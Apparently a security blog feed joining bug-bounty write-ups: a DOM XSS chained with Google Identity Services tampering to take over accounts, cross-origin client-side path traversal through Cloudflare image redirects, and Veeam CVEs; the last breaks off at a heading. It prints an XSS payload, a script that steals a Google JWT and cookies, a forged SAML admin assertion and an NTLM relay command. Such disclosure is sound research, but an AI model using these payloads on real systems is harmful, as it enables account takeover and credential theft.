<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764556180871/f4b5d328-6525-41af-8cd2-bd6411c25f24.png" alt="" style="display:block;margin:0 auto" />

<p>I immediately tried: <a href="https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com"><code>https://target.com/login?rUrl=ja.va.sc.ri.pt.:al.er.t(or.ig.in)//blahblah.com</code></a></p>
<p>And just like that - DOM XSS! 🔥</p>
<p>This vulnerability highlights a critical security principle: <strong>security should be provided from one consistent point, not as a conjunction of different mechanisms</strong>. When you layer multiple security controls without coordination, you create inconsistencies that attackers can exploit. In this case, the target had a "Match Then Replace" pattern - the WAF was matching and blocking <code>javascript:</code> schemes, while a separate replace function was stripping out dots and other special characters. Neither mechanism alone was vulnerable, but their combination created the bypass opportunity. This kind of fragmented security approach is exactly what leads to exploitable edge cases.</p>
<h2>Can We Even Get Account Takeover?</h2>
<p>Now that I had XSS, it was time to escalate this to a full account takeover. But the target's security was pretty tight - every sensitive action required submitting a 2FA code sent to your email.</p>
<p>I tried everything: changing email, setting password, deleting account, freezing account, adding 2FA - they all needed 2FA verification. Even logging in from a different browser triggered an email 2FA prompt.</p>
<p>Now, you might be thinking: "Why not just steal the <code>session_id</code> cookie directly?" Good question. The target had properly configured their authentication cookie with <code>HttpOnly</code> and <code>SameSite=Lax</code> flags, making it impossible to exfiltrate via XSS and protected against CSRF attacks. Direct session hijacking was off the table.</p>
<p>But here's where it gets interesting. While I couldn't steal the session cookie, I noticed that logging in from a different browser always triggered a 2FA email prompt. This made me curious - how was the site detecting my browser?</p>
<p>My first thought was User-Agent, but that wasn't it. I started checking all the pre-login headers and cookies one by one. It was tedious work, but eventually I found it - a cookie named <code>dd</code> that was used for browser detection. The good news? Unlike <code>session_id</code>, this cookie wasn't HttpOnly, so I could easily exfiltrate it with my DOM XSS.</p>
<p>The attack plan became clear: if I could steal the <code>dd</code> cookie and obtain a fresh session via OAuth, I could bypass the 2FA check entirely since the target would recognize it as the "same browser." At this point, I was thinking about using <a href="https://labs.detectify.com/writeups/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/">"dirty dancing" OAuth flow</a> techniques to steal the Google authorization code and complete the account takeover.</p>
<p>The target's login flow used Google's Identity Services SDK (GIS) for OAuth2 implementation. I tried using other redirect modes like absolute URLs, postmessagerelay, and storagerelay, but they all failed with an <code>invalid_redirect_uri</code> error on the Google OAuth page. So I had to find a way to make dirty dancing work within the GIS OAuth flow.</p>
<h2>How Does the GIS SDK Actually Work?</h2>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764555926477/43e75d40-31cc-42a3-bd25-574f31d82bd3.png" alt="" style="display:block;margin:0 auto" />

<p>Before we dive into the exploitation, let's quickly understand how this SDK works:</p>
<p>Google's Identity Services (GIS) SDK implements a unique OAuth 2.0 flow that's quite different from traditional OAuth implementations. The key difference is that GIS handles the entire authentication flow internally without exposing redirect URIs to the client application.</p>
<h3>SDK Loading and Initialization</h3>
<p>The GIS SDK is loaded into the application through a script tag that pulls Google's JavaScript library:</p>
<pre><code class="language-javascript">&lt;script src="https://accounts.google.com/gsi/client" async defer&gt;&lt;/script&gt;
</code></pre>
<p>This loads the global <code>google</code> object on the window (specifically <a href="http://window.google.accounts.id"><code>window.google.accounts.id</code></a>), which exposes the GIS API methods. The application then initializes the SDK with various configuration parameters:</p>
<pre><code class="language-javascript">google.accounts.id.initialize({
  // Always Required Arguments:
  client_id: 'YOUR_GOOGLE_CLIENT_ID',          // Required: Your Google OAuth client ID
  // Required if ux_mode='popup'
  callback: handleCredentialResponse,          // Function to handle the JWT response
  // Required if ux_mode='redirect'
  login_uri: 'https://target.com/login',       // Redirect endpoint for redirect mode
  
  // Optional Arguments
  auto_select: false,                          // Automatically sign in if user has one Google session
  cancel_on_tap_outside: true,                 // Close One Tap prompt when clicking outside
  context: 'signin',                           // Context hint for One Tap UI ('signin', 'signup', 'use')
  ux_mode: 'popup',                            // How to display the flow ('popup' or 'redirect')
  native_callback: nativeResponseHandler,      // Handler for native credential responses
  prompt_parent_id: 'oneTapDiv',               // DOM element ID for One Tap container
  nonce: 'random_nonce',                       // Nonce for ID token security
  state_cookie_domain: 'target.com',           // Domain for state cookie
  allowed_parent_origin: 'https://target.com', // Allowed origin for iframe mode
  intermediate_iframe_close_callback: onClose  // Callback when intermediate iframe closes
});
</code></pre>
<h3>Triggering Authentication</h3>
<p>GIS provides multiple methods to trigger authentication:</p>
<p><strong>One Tap Prompt:</strong></p>
<pre><code class="language-javascript">google.accounts.id.prompt();
</code></pre>
<p><strong>Button Rendering:</strong></p>
<pre><code class="language-javascript">google.accounts.id.renderButton(
  document.getElementById("buttonDiv"),
  styles
);
</code></pre>
<h3>The GIS Authentication Flow</h3>
<ol>
<li><p><strong>The Intermediate Redirect:</strong> When authentication is triggered, GIS doesn't use the application's redirect URI. Instead, it uses Google's own intermediate endpoint:<br /><a href="https://accounts.google.com/gsi/oauth?redirect_uri=gis_transform&amp;...%EF%BF%BCThe">https://accounts.google.com/gsi/oauth?redirect_uri=gis_transform&amp;...<br />The</a> <code>redirect_uri</code> is always <code>gis_transform</code> - an internal Google-controlled endpoint.</p>
</li>
<li><p><strong>The Transform Layer:</strong> After successful authentication, Google redirects to the gis/transform endpoint which:</p>
</li>
</ol>
<ul>
<li><p>Processes the authorization response</p>
</li>
<li><p>Generates a JWT credential token</p>
</li>
<li><p>Posts this token back to the parent window using postMessage or redirects back with the token</p>
</li>
</ul>
<ol>
<li><strong>Token Delivery:</strong> The credential response is delivered to the application's callback function:</li>
</ol>
<pre><code class="language-javascript">function handleCredentialResponse(response) {   
  // response.credential contains the JWT token with user info
  // response.select_by indicates how the credential was selected
  // response.client_id contains the Google client ID
  const jwt_token = response.credential; 
}
</code></pre>
<h3>Why This Makes Attacks Harder</h3>
<p>The GIS SDK architecture blocks several common attack vectors:</p>
<ul>
<li><p><strong>No client-controlled redirect_uri:</strong> Since GIS uses <code>gis/transform</code> as the redirect URI, we can't manipulate it</p>
</li>
<li><p><strong>JWT tokens instead of authorization codes:</strong> The app receives signed JWT tokens that can be verified</p>
</li>
<li><p><strong>Controlled communication channels:</strong> All data flows through Google's controlled endpoints</p>
</li>
<li><p><strong>Script integrity:</strong> The SDK loads from Google's domain, preventing tampering</p>
</li>
</ul>
<h3>The Attack Surface</h3>
<p>Despite these protections, there's still an attack surface at the application layer:</p>
<p>After GIS completes authentication and delivers the JWT token to the callback function, the application's JavaScript takes over. This is where things get interesting:</p>
<ul>
<li><p><strong>Window Object Access:</strong> The <code>google</code> object and callback functions live in the global window scope, so any XSS can access or override them</p>
</li>
<li><p><strong>Configuration Manipulation:</strong> An XSS can reinitialize GIS with a malicious callback function to intercept credentials</p>
</li>
<li><p><strong>Token Storage and Handling:</strong> The JWT token and session cookies (like our <code>dd</code> cookie) are accessible to JavaScript if not properly protected</p>
</li>
</ul>
<h2>Not-So-Dirty Dancing</h2>
<p>Here's the scenario I had in mind:</p>
<ol>
<li><p><strong>[Attacker]</strong> sends the malicious link to the victim</p>
</li>
<li><p><strong>[Victim]</strong> opens the link and tries to log into the app</p>
</li>
<li><p>After login, the DOM XSS gets triggered</p>
</li>
<li><p>The XSS exfiltrates the Google auth code and <code>dd</code> cookie</p>
</li>
<li><p><strong>[Attacker]</strong> uses the stolen credentials to access the victim's account</p>
</li>
</ol>
<p>The problem? It would be really weird to ask the victim to go through the login flow again after they just logged in. Not a very convincing social engineering scenario.</p>
<p>I needed to rethink this. The goal was to make the GIS OAuth flow completely automatic - no user interaction required - for a cleaner and more realistic attack.</p>
<h3>Magical Parameters</h3>
<p>I remembered Omid Rezaei's writeup <a href="https://blog.voorivex.team/oauth-non-happy-path-to-ato">OAuth Non-Happy Path to ATO</a> where he used <code>prompt=none</code> and <code>authuser=0</code> query parameters.</p>
<p>These parameters make Google OAuth flows completely silent - no prompts, and it automatically pre-selects the user's Google account.</p>
<p>But here's the catch: I wasn't the one opening the OAuth popup - the GIS SDK was handling that. But wait... we're still in the same browser window sandbox as the SDK script, right?</p>
<p>Exactly! We can hook the <a href="http://window.open"><code>window.open</code></a> function for the entire window. When the GIS SDK tries to open a window, we can intercept the URL and inject the parameters we need.</p>
<pre><code class="language-javascript">const originalOpen = window.open;

window.open = function (url, target, features) {
  try {
    // Only touch Google OAuth / Accounts URLs
    if (typeof url === "string" &amp;&amp; url.includes("accounts.google.com")) {
      const parsedUrl = new URL(url);

      // Add or overwrite desired OAuth parameters
      parsedUrl.searchParams.set("prompt", "none");
      parsedUrl.searchParams.set("authuser", "0");

      url = parsedUrl.toString();
      console.log("[OAuth Hook] Modified URL:", url);
    }
  } catch (err) {
    console.warn("[OAuth Hook] URL modification failed:", err);
  }

  // Call the original window.open
  return originalOpen.call(window, url, target, features);
};
</code></pre>
<p>But there was still a problem: the popup only appeared when the user clicked the rendered button. That would require another user interaction, and I didn't want to risk lowering the severity score.</p>
<h3>The Google One-Tap Parameter</h3>
<p>I begun reading through the docs and I reached out the <code>auto_select</code> parameter in the <a href="http://google.accounts.id"><code>google.accounts.id</code></a><code>.initialize</code> function. This was exactly what I needed:</p>
<blockquote>
<p><code>auto_select:</code> <em>If enabled, the One Tap prompt will be automatically dismissed and the user will be signed in without any further interaction.</em></p>
</blockquote>
<h2>Final Account Takeover Exploit</h2>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1764557539628/cfafff43-5b27-4848-a58b-aa1069dca144.png" alt="" style="display:block;margin:0 auto" />

<p>With all the pieces in place, I just needed to run this exploit code via the DOM XSS on the victim's browser to steal the <code>dd</code> cookie and Google JWT:</p>
<pre><code class="language-javascript">const script = document.createElement('script');
script.src = 'https://accounts.google.com/gsi/client';
script.async = true;
script.defer = true;

// Wait for script to load, then initialize
script.onload = function() {
  try {
    // Initialize Google Sign-In with malicious callback
    google.accounts.id.initialize({
      client_id: clientId,
      callback: (response) =&gt; {
        // Extract JWT token
        const jwt = response.credential;

        // Extract cookies
        const cookies = document.cookie;

        // Exfiltrate stolen credentials
        exfiltrateData(jwt, cookies);

        resolve({ jwt, cookies, payload });
      },
      itp_support: false,
      use_fedcm_for_prompt: false,
      auto_select: true  // Automatically signs in user
    });

    // Trigger the sign-in prompt
    if (window.google &amp;&amp; window.google.accounts.id.prompt) {
      window.google.accounts.id.prompt(m =&gt; {
        if (m.isNotDisplayed() || m.isSkippedMoment()) {
          console.log('Prompt not displayed or skipped');
        }
      });
    }
  } catch (error) {
    reject(error);
  }
};

script.onerror = function() {
  reject(new Error('Failed to load Google Sign-In script'));
};

// Append script to page
document.head.appendChild(script);
</code></pre>
<hr />
<p>That's it! By chaining the DOM XSS with GIS SDK manipulation and the <code>auto_select</code> parameter, I was able to achieve a fully automated account takeover - no user interaction needed beyond the initial click on the malicious link.</p>
<p>Thanks for reading!<br />Feel free to reach out if you have any questions or want to discuss OAuth security research.</p>
<p>Catch you on the next one! 🎯</p>
]]></content:encoded></item><item><title><![CDATA[Cloudflare Image Proxy as a CSPT Gadget: A Cross-Origin CSPT Exploit]]></title><description><![CDATA[The CSPT (Client-Side Path Traversal) vulnerability has recently attracted considerable attention from bug bounty hunters and security researchers because of its flexibility and the variety of real-world impacts it can enable. CSPT arises when user-c...]]></description><link>https://blog.voorivex.team/cloudflare-image-proxy-as-a-cspt-gadget-a-cross-origin-cspt-exploit</link><guid isPermaLink="true">https://blog.voorivex.team/cloudflare-image-proxy-as-a-cspt-gadget-a-cross-origin-cspt-exploit</guid><category><![CDATA[CSPT]]></category><category><![CDATA[Cross-Origin Resource Sharing (CORS)]]></category><category><![CDATA[csrf]]></category><dc:creator><![CDATA[Amirmohammad Safari]]></dc:creator><pubDate>Sun, 19 Oct 2025 15:50:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760886264815/555be894-be49-4383-8fa5-a7e61218bd35.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>The CSPT (Client-Side Path Traversal) vulnerability has recently attracted considerable attention from bug bounty hunters and security researchers because of its flexibility and the variety of real-world impacts it can enable. CSPT arises when user-controlled input is inserted directly into client-side request paths (for example in <code>fetch</code>, <code>XMLHttpRequest</code>, or any other browser-initiated request) without proper validation or sanitization. When that input can alter the request path, an attacker may be able to change the request path to sensitive endpoints, leading to attacks such as forced actions, or cross-site request forgery.</p>
<p>If you’re not familiar with CSPT or want to learn more, you can read more about it here:<br /><a target="_blank" href="https://blog.doyensec.com/2025/03/27/cspt-resources.html">CSPT Resources – Doyensec Blog</a></p>
<h2 id="heading-why-cross-origin-cspt-matters">Why Cross-Origin CSPT Matters?</h2>
<p>As mentioned, in CSPT the attacker’s input is placed into one of the request paths, which lets the attacker move between paths and change the request’s destination. But an important question arises: <strong>can CSPT change the request’s host or send the request to a different subdomain?</strong></p>
<p>To answer that, first we must understand why sending a request to another origin helps. Imagine:</p>
<ul>
<li><p>You found a CSPT on <code>company.tld</code> and can send a <code>PUT</code> request to that domain, but there are no sensitive endpoints on that domain. In that case the exploit has little real effect.</p>
</li>
<li><p>However, in the same organization there might be a more sensitive origin like <code>api.company.tld</code> that hosts sensitive endpoints (for example, change user data, manage tokens, ...). If you can change the host from <code>company.tld</code> to <code>api.company.tld</code> and send the request there, then the CSPT becomes useful and can have real impact.</p>
</li>
</ul>
<p>Similarly, sometimes you find CSPT on low-value subdomains; in those cases your goal is to change the host so you jump from that subdomain to a more sensitive subdomain and carry out the attack.</p>
<p>Therefore, checking whether a CSPT can send requests to other origins is operationally critical, because only then can you turn an apparently harmless gadget into a real, impactful exploit.</p>
<h2 id="heading-how-to-change-the-origin-307-308-redirects"><strong>How to Change the Origin: 307 / 308 Redirects</strong></h2>
<p>Browsers handle redirects in different ways. For our purpose, only <strong>307 Temporary Redirect</strong> and <strong>308 Permanent Redirect</strong> are useful, because they preserve the original HTTP method, body, and headers. When a browser sends a request and receives one of these redirects, it automatically follows it without changing the request. Other redirect types, such as <code>301</code> or <code>302</code>, may instead change a <code>POST</code> request into a <code>GET</code>, which can break the intended behavior.</p>
<p>Important caveats:</p>
<ul>
<li><p><strong>Cookies and SameSite:</strong> If the destination relies on cookie-based authentication, cookies are forwarded according to their <code>SameSite</code> policies.</p>
</li>
<li><p><strong>Authorization header:</strong> Browsers do <strong>not</strong> forward the <code>Authorization</code> header automatically during cross-origin redirects. If a target API authenticates exclusively via <code>Authorization: Bearer ...</code> headers, this redirect method will <strong>not work</strong>.</p>
</li>
<li><p><strong>CORS:</strong> Even if you can get a redirected request to reach another origin, the destination must allow the request via CORS.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760545541652/1f106323-8c35-41cf-923a-93ffb500d5de.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-practical-gadget-cloudflare-image-transform">Practical Gadget - Cloudflare Image Transform</h2>
<p>One gadget that demonstrates these mechanics is Cloudflare’s Image Transformation redirect behavior. The image transform endpoint can be abused to issue a 307 redirect to another subdomain, including custom path. That makes it an excellent way to hop between subdomains inside the same domain:</p>
<pre><code class="lang-plaintext">https://company.tld/cdn-cgi/image/onerror=redirect/https://subdomain.company.tld/&lt;path&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760544955610/45abb44c-906e-4003-825c-e9d6a658895e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-exploitation-workflow-cloudflare-gadget">Exploitation Workflow (Cloudflare Gadget)</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760462429338/e2fe3242-5a6e-4570-ba5f-d57d078d77c6.png" alt class="image--center mx-auto" /></p>
<ol>
<li><p><strong>Identify the CSPT vulnerability.</strong> Find a client-side request that inserts attacker-controlled input into a request path, for example <code>fetch(baseUrl + userInput)</code> or code that builds a URL from user input and then requests it.</p>
</li>
<li><p><strong>Target gadget.</strong> Cloudflare Image Transformation or any open-redirect vulnerability that can issue a <strong>307/308</strong> redirect.</p>
</li>
<li><p><strong>Chain the redirect to the sink.</strong> Build a URL that, when the sink requests it, triggers the open-redirect gadget and returns a 307/308 pointing to your target host/subdomain</p>
</li>
<li><p><strong>Exploit CSPT cross-origin.</strong> Because the redirect preserves method and body, the sink’s request will be forwarded to the chosen host, enabling cross-origin actions (CSRF, data exfiltration, etc.) depending on the target and the request details</p>
</li>
</ol>
<h2 id="heading-limitations-and-realistic-impact">Limitations and Realistic Impact</h2>
<p>Not every CSPT finding leads to a high-impact exploit. With the approach described here might be open more ways yo you to exploit the CSPT with highest impact, but there are important limitations to keep in mind.</p>
<ul>
<li><p>First, successful cross-origin requests usually depend on CORS being permissive for the target domain or subdomain, something that is common but not guaranteed.</p>
</li>
<li><p>Second, browsers do not forward <code>Authorization</code> headers when following 307/308 redirects, which can prevent some attack flows (This approach is mainly recommended for web applications vulnerable to CSPT that rely on cookie-based or custom-header authentication)</p>
</li>
</ul>
<p>Also sometimes you can find <strong>307 or 308 open redirects</strong> that make the browser forward headers to attacker controlled origin and hijack them. If you don’t have any of those, you can use <strong>gadgets like Cloudflare’s image transformation API</strong> to increase the chance of a good impact. It still depends on the target’s setup, but hopefully one the tricks work for you ;)</p>
]]></content:encoded></item><item><title><![CDATA[Hacking Veeam: Several CVEs and $30k Bounties]]></title><description><![CDATA[Hello, I’m a web guy. Usually, I’m not working on non-web applications since my mind doesn’t know binary and reverse engineering. About one year ago, I started giving myself a shot at working on some macOS applications, and I managed to uncover sever...]]></description><link>https://blog.voorivex.team/hacking-veeam-several-cves-and-30k-bounties</link><guid isPermaLink="true">https://blog.voorivex.team/hacking-veeam-several-cves-and-30k-bounties</guid><category><![CDATA[Local Privilege Escalation]]></category><category><![CDATA[Remote Code Execution]]></category><category><![CDATA[Authentication Bypass]]></category><dc:creator><![CDATA[Voorivex]]></dc:creator><pubDate>Sat, 09 Aug 2025 18:58:58 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754765994203/3fe15cc5-18fe-4798-a184-f48366ffadbb.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hello, I’m a web guy. Usually, I’m not working on non-web applications since my mind doesn’t know binary and reverse engineering. About one year ago, I started giving myself a shot at working on some macOS applications, and I managed to uncover several RCEs, even without knowing much about applications. I just used my intuition and hacker mindset to penetrate the application. Maybe I will write another blog post about the RCEs in the future.</p>
<p>This post is about a program that I’ve been working on for a couple of months. I will go through the challenges I faced and the vulnerabilities I found, along with some bug bounty tips at the end. The list of vulnerabilities:</p>
<ul>
<li><p>Authentication Bypass - $7500 (CVE-2024-29849)</p>
</li>
<li><p>Remote Code Execution - $7500 (CVE-2024-42024)</p>
</li>
<li><p>NTLM Relay to Account Takeover - $3000 (CVE-2024-29850)</p>
</li>
<li><p>Local Privilege Escalation - $3000 (CVE-2024-29853)</p>
</li>
<li><p>Broken Access Control &amp; IDORs (CVE-2024-29852, etc)</p>
</li>
</ul>
<p>Before starting, I should mention that I asked one of my friends to help me with some reverse engineering tasks.</p>
<h1 id="heading-challenges"><strong>Challenges</strong></h1>
<p>Veeam products are Windows-based, with <code>.exe</code> files, dll files, etc. There are also multiple components working together, like agents and local web-based platforms. Although you can test the product using a black-box approach, auditing the source code helps to have a better understanding of the platform’s structure. Most of the bugs were found through analyzing the source code.</p>
<p>The first step is to reverse the source code. Thanks to <a target="_blank" href="https://github.com/icsharpcode/ILSpy"><strong>ILSpy</strong></a> .NET decompiler, with the code below in PowerShell, you can iterate through all the dll files and decompile the source code:</p>
<pre><code class="lang-python"><span class="hljs-comment"># Get all DLL files in the current directory</span>
$dllFiles = Get-ChildItem -Filter *.dll

foreach ($dllFile <span class="hljs-keyword">in</span> $dllFiles) {
    <span class="hljs-comment"># Create a directory with the name filename_src</span>
    $outputDirectory = Join-Path (Get-Location) ($dllFile.BaseName + <span class="hljs-string">"_src"</span>)
    New-Item -ItemType Directory -Force -Path $outputDirectory | Out-Null

    <span class="hljs-comment"># Build the ilspycmd command</span>
    $ilspycmdCommand = <span class="hljs-string">"ilspycmd $($dllFile.FullName) -p -o $outputDirectory"</span>

    <span class="hljs-comment"># Execute the ilspycmd command</span>
    Invoke-Expression $ilspycmdCommand
}
</code></pre>
<p>With the source code in hand, I could start searching for spots to initiate testing. One way would be to look for routes and roles, as most of my reported broken access control bugs were found using this methodology.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727790639826/832e9b3f-097e-4143-a430-0656eae0c378.png?auto=compress,format&amp;format=webp" alt /></p>
<p>Before checking the code, I started using the platforms and reading Veeam’s help documents to understand the existing roles, authentication options, and what Veeam products like Enterprise Manager (VEM) really does.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728148201388/7ff4d007-8c51-4420-8670-521557c8673e.png?auto=compress,format&amp;format=webp" alt /></p>
<p>If you aren’t familiar with Veeam products, they basically offer efficient and reliable backup and recovery for virtual, physical, NAS, and cloud-native environments.</p>
<p>One challenge I faced during the initial testing was the need to install VMware ESXI, which required a large infrastructure with plenty of RAM and storage. VEM uses a PostgreSQL database, and one of the hack-ish methods I came up with was inserting dummy data directly into the platform’s database.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728148007704/a2707a93-e2d6-4411-83e5-1c786a0bd04b.png?auto=compress,format&amp;format=webp" alt /></p>
<p>This trick helped me move forward with the available features without the hassle of setup.</p>
<h1 id="heading-bugs"><strong>Bugs</strong></h1>
<h2 id="heading-cve-2024-29849-zero-interaction-administrator-account-takeover"><strong>CVE-2024-29849 - Zero Interaction Administrator Account Takeover</strong></h2>
<p>There's a REST API channel to communicate with when installing the Veeam Enterprise Manager, located at: <code>https://&lt;enterprise-manager&gt;:9398</code></p>
<p>One of the endpoints responsible for logging in and setting an Auth cookie for the end user is POST <code>https://&lt;enterprise-manager&gt;:9398/api/sessionMngr/?v=latest</code> The endpoint accepts XML data, which looks like this:</p>
<pre><code class="lang-plaintext">&lt;LoginSpec xmlns="http://www.veeam.com/ent/v1.0"&gt;
&lt;VMwareSSOToken&gt;
Base64EncodedData
&lt;/VMwareSSOToken&gt;
&lt;/LoginSpec&gt;
</code></pre>
<p>The <code>Base64EncodedData</code> looks like this:</p>
<pre><code class="lang-plaintext">&lt;saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion"&gt;
    &lt;saml2:Issuer&gt;https://127.0.0.1:8443/websso/SAML2/Metadata&lt;/saml2:Issuer&gt;
&lt;saml2:Subject&gt;
        &lt;saml2:NameID&gt;Administrator@lab.local&lt;/saml2:NameID&gt;
&lt;/saml2:Subject&gt;
&lt;saml2:AttributeStatement&gt;
&lt;saml2:Attribute FriendlyName="Group"&gt;
            &lt;saml2:AttributeValue&gt;Admin&lt;/saml2:AttributeValue&gt;
            &lt;saml2:AttributeValue&gt;User&lt;/saml2:AttributeValue&gt;
        &lt;/saml2:Attribute&gt;
&lt;/saml2:AttributeStatement&gt;
&lt;/saml2:Assertion&gt;
</code></pre>
<p>It contains a <code>saml2:Issuer</code>, which is the SAML listener, and a <code>saml2:NameID</code>, the account name with the domain you wish to sign in. Looking through the code, which I will show, I realized the <code>IF condition</code> fails and never validates the protection check. An attacker setting up a listener and sending a request to the vulnerable endpoint can retrieve the auth cookie associated with the victim's account, which could be Administrator, and log in to the platform successfully without any interactions needed.</p>
<h3 id="heading-vulnerable-code"><strong>Vulnerable Code</strong></h3>
<p>Calling the endpoint, the first function being triggered, is named <code>LogInAfterAuthentication</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728113565533/745fc387-e782-400f-b503-88a0776ae7ad.png?auto=compress,format&amp;format=webp" alt /></p>
<p>There's a condition <code>(loginSpec == null || loginSpec.VwareSSOToken == null)</code>. As explained earlier, by providing <code>VMwareSSOToken</code>, the condition is set to false, then it moves to the next section, which is:</p>
<pre><code class="lang-python"><span class="hljs-keyword">else</span>{
    crestSession = this.m_loginSessionsScope.LogInBySsoToken(loginSpec, versionNames);
}
</code></pre>
<p>The <code>LogInBySsoToken</code> code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728113750038/cfa82528-5001-4d0e-bf72-90a1c206db66.png?auto=compress,format&amp;format=webp" alt /></p>
<p>Calling <code>AuthorizeByVMwareSsoToken</code> goes to the next functions named <code>FindValidsTSEndpointUrl</code> and <code>ValidateAuthToken</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728113797444/242645e0-e882-453c-85f0-95d06c75b11a.png?auto=compress,format&amp;format=webp" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728113853258/dec31074-2532-49b5-8e43-cd1ceadea3f7.png?auto=compress,format&amp;format=webp" alt /></p>
<p>Eventually, due to the failed condition check:</p>
<pre><code class="lang-python"><span class="hljs-keyword">if</span> (CAuthorizationManager VaidateStsUr](pluginInfo, out result))]
<span class="hljs-keyword">return</span> result;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728113923107/3c4c5429-94b7-4374-b039-bb401b45f055.png?auto=compress,format&amp;format=webp" alt /></p>
<p>It goes to the end of code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">return</span> new Uri(authServiceLocationStr.Contains(<span class="hljs-string">"websso/SAML2/Metadata"</span>, StringComparison.OrdinalIgnoreCase) ? UriFormatter .FormatHttps (uri. Host, new int?(uri.Port),
<span class="hljs-string">"sts/STSService"</span>, null, true) : UriFormatter.Formathttps(uri.Host, new int?(uri.Port),
<span class="hljs-string">"ims /STSService"</span>, null,
</code></pre>
<p>And receive the <code>set-cookie: X-RestSvcSessionId=</code> linked to the account simply by providing <code>username@domain</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728115310267/d7b5ad41-4f60-4754-a025-981e0695a862.png?auto=compress,format&amp;format=webp" alt /></p>
<p>Please <strong>note</strong> whether the SSO is enabled or not the component is vulnerable.</p>
<h2 id="heading-cve-2024-42024-rce-on-veeam-one-agent"><strong>CVE-2024-42024 - RCE on Veeam One Agent</strong></h2>
<p>There's a system called Veeam One Agent, which is installed for interaction and transmitting data between Veeam's product components, such as Veeam Backup &amp; Replication sending data to the Veeam One server via the agent.</p>
<p>Furthermore, one of the functions responsible for handling data and specifically deserializing it is called <code>CustomSerializationBinder</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728114578722/0e7a06b9-5131-4de1-b2c8-324e5d892f71.png?auto=compress,format&amp;format=webp" alt /></p>
<p>The function has a protection based off a whitelist called <code>SupportedAssemblies</code> and if one of the following values is not given (malformed the request) it returns error:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728114696695/d57dafc5-28f0-4612-a000-976ac413dafa.png?auto=compress,format&amp;format=webp" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728114719491/5ab9da95-0f88-402d-8cf1-f3ddd8109504.png?auto=compress,format&amp;format=webp" alt /></p>
<p>I could bypass the protection with passing a valid <code>assemblyName</code> but different <code>typeName</code>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728114901849/20e283dc-9ce8-4029-9793-2ec03a5936e8.jpeg?auto=compress,format&amp;format=webp" alt /></p>
<p>This is the exploitation file. As you can see, a valid value like <code>mscorlib</code> is provided, but the other argument is controlled by the user and bypassed successfully:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728115465253/7c1eb2fe-a2a8-4179-b923-dd1eecd01fa3.png?auto=compress,format&amp;format=webp" alt="Running Whoami command as PoC" /></p>
<h2 id="heading-cve-2024-29850-account-takeover-via-ntlm-relay"><strong>CVE-2024-29850 - Account Takeover via NTLM Relay</strong></h2>
<p>The classic old NTLM relay, thanks to this <a target="_blank" href="https://blog.compass-security.com/2023/10/relaying-ntlm-to-mssql/"><strong>blog post</strong></a>, inspired me to look for such a bug in Veeam products. There’s an endpoint in the VEM product that allows the clients use Windows AD users for authentication. Searching through files after the installation, I have noticed there's no <code>extendedProtection</code> enabled in webapp config file.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728146514280/b1433935-f2d0-4691-b916-e390d99fd885.jpeg?auto=compress,format&amp;format=webp" alt /></p>
<p>After setting up the configuration, an attacker can relay another user's NTLM session and capture the user's authenticated cookie. This allows the attacker impersonate the victim and access the Veeam Enterprise Manager platform as an Administrator. Here's an image to help illustrate what's happening behind the scenes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728146609876/201f5bba-d4e3-4f6c-8715-97c96956e8c1.png?auto=compress,format&amp;format=webp" alt /></p>
<p>In this example attack scenario, an attacker sets up a listener on the authentication endpoint, which is <code>Security/Windows/Winlogin.aspx</code>, and relays the machine that has an authentication cookie.</p>
<p>Thanks to <a target="_blank" href="https://github.com/fortra/impacket/blob/master/examples/ntlmrelayx.py"><strong>impacket</strong></a> awesome tool, with the following command:</p>
<pre><code class="lang-python">
/usr/bin/impacket-ntlmrelayx -t http://VEEAMSRV1:<span class="hljs-number">9080</span>/Security/Windows/Winlogin.aspx -smb2supportpython
</code></pre>
<p>It was possible to grab the victim’s machine authentication cookie via Wireshark tool.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754764157193/42dae329-4cd5-4059-8c79-3d37cf5e9469.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728146251646/16c2a8e3-9cde-4ec8-8574-dc8601253770.png?auto=compress,format&amp;format=webp" alt /></p>
<h2 id="heading-cve-2024-29853-local-privilege-escalation-via-veeam-one-agent"><strong>CVE-2024-29853 - Local Privilege Escalation via Veeam One Agent</strong></h2>
